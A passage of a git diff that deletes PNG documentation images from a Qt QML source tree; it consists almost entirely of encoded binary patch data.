zJrfi-W}Q`Ad864=|Hx;XyU`A7e|X!2LdfBy_RaI_+178nea*H^k$#8VF66dD`x6QY`^#+Zm(Rgo9NqTjJ<91N~iZf14i@9jgi`2PQQ$& z)|Gs$oA>;q{E25Ke1~+n`g!&LHaN^IpP|telK*()kCv0MQtXLht;d(0naZ<4EZhhq bH8t8>NM4o<<4Dy9x}L$))z4*}Q$iB}Op>cd diff --git a/src/qml/doc/images/qml-item-canvas-startAngle.png b/src/qml/doc/images/qml-item-canvas-startAngle.png deleted file mode 100644 index f81562e5e45dd1e59aab1b24b436346e5310c02c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10254 zcmchdWn5I@x9^7z=?3W%=@O*7JEXh2yBh=qDFG3OFi=udVqoZy4n=YZ5g2M{1{mUQ z{GWSXoj2$6xt}{PruKe%J!`G!_ubF+b=3&*>F_}y5TS;;vLOhBb_IOz#zhC-tDqZw zzz15Op_(G7Zk&D__<`xFprZf+eaU`sZI1=~W_DCJ)B%AaI6s(%Z!HIRQJWcmL>1!0@rhlXs&BZ5wV&!!pYWoF zJg%3cdk(90SA!Y06U(+?jU8t(t<%w%L?#!QlbiZ1T66o!O__RiQmTgwpW zxY#W5?f9sMi;KoWk_8Gw^2iwAN@G918+eIX%1KSr>5%LA9rO_^eDq@ykx40mB|p|&?ypYjuT zLJ>=?(Wnq|gR>VoN!pmBFBxSb^37vD7nx5%Baz%2WkN3M$b%IDG7gA9LUm&U{Pr=( zo9dZE`i@b+q09#=PSqRb ztbwdtkNx=4&sfo}u_}_ZYWwYx5T&oR(jud^vFf6Pq~zpAbaKUe-5@6SL+baD`X!{h zi8#bQFo<*7#N@YHG_E|sMhWvKh7>N5t8hs3&}u8?S1j*1l2HxZHLq^)#k3hCQ-hJs zyU5+bG4Emfzk?wNRr24?aw5A({G60Fa%<2VttZ`YD%?c~c)(?ZN^{OjNF<70_B-bbX#84D#!v65%Z?U-YLg+ zps*AwbR{}57tJi}IpE?j@bd2FE&$6P8Qo&k;PeTs2oJ+l&`I6A1++avL|5 zQ*$!u<$~Z(cuib`L@N8V@52u2IevPEpLe@D zi_HJvE#PL7#QpsJ3zOoCNIEi1T`WV@?HG7HL1%0DiHn1}(K2+5Vd@5dWZQ5fJt(`h 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 ZZ|to7`dv9>5ingcc)I$ztaD0e0stNRIX(aY diff --git a/src/qml/doc/images/qml-xmllistmodel-example.png b/src/qml/doc/images/qml-xmllistmodel-example.png deleted file mode 100644 index be2d15d34287adeb8971f69426621ffacb3a5220..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5252 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 